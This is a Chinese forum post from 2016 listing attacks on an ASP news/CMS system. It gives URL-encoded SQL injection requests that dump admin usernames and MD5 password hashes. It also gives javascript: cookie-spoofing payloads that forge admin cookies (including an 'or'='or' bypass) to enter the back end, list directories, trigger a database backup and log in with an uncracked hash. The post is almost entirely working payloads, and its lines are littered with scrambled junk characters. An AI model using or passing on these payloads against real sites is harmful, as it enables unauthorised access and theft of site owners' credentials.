一、注入2 h% M5 G0 N+ W# f/ X7 A4 X
1、news_more.asp?lm=2 %41nd 1=2 union %53elect 1,2,3,0x3b%26user,0x3b%26pass,6,7,8 %46rom %41dmin union %53elect * %46rom lm where 1=2+ ~" w$ L5 M5 e, f0 |
5 u, p" f6 M: t9 y6 o) X$ s
2、第一步：javascript:alert(document.cookie="adminuser=admin");alert(document.cookie="admindj=1");location.href="admin_chk.asp"
7 u1 b7 A) ?& R9 X" q& n% {第二步：请求:admin_lm_edit.asp?id=1 %41nd 1=2 union %53elect 1,2,3,4,id%260x3b%26user%260x3b%26pass,6,7,8%20%46rom%20%41dmin" Z% V; o, [! t* h* @; I
可得到用户名和MD5加密码的密码。2 ^7 [* D$ B7 J: i. q- U$ v
- b& F. C, f% D1 o
二、cookies欺骗' u p& T8 w3 S: z, V( Y: `0 I) H
6 _2 ^" U- T' H6 Y/ M1、直接进后台，适用于较低版本，一般login.asp和admin_index.asp在同一目录下的版本有此漏洞. * t2 |6 O1 U, P. e
javascript:alert(document.cookie="adminuser="+escape("'or'='or'"));alert(document.cookie="adminpass="+escape("'or'='or'"));alert(document.cookie="admindj="+escape("1"));location.href="admin_index.asp"
8 C# n \, O( |" ^, ]/ x: ^ @5 P3 ~! c9 H
2、列目录. ' U0 P6 e' H( X' _, u
javascript:alert(document.cookie="admindj="+escape("1"));location.href="edit/admin_uploadfile.asp?dir=.."2 T! {' x, E$ C5 U4 O" X! `/ a! ^
" C& ]0 O- x+ a, Y3、数据库备份(适用性好像比较低.) , Z4 |$ |; M9 `3 a- x
javascript:alert(document.cookie="admindj="+escape("1"));location.href="admin_db_backup.asp?action=backupdata"
% L3 U/ ]( f7 ^0 C* A$ C7 A- P+ \& x7 _3 i& i
4、得到MD5密码解不了密进后台方法8 a. u; r0 C. d4 \, u: C* L9 Z
javascript:alert(document.cookie="adminuser="+escape("用户名")); alert(document.cookie="adminpass="+escape("md5密码")); alert(document.cookie="admindj="+escape("1"));location.href="admin_index.asp"5 u$ l0 g: Z& i4 v1 ^3 b5 M, K
|
发表于 2016-5-11 14:55:08
收藏
支持
反对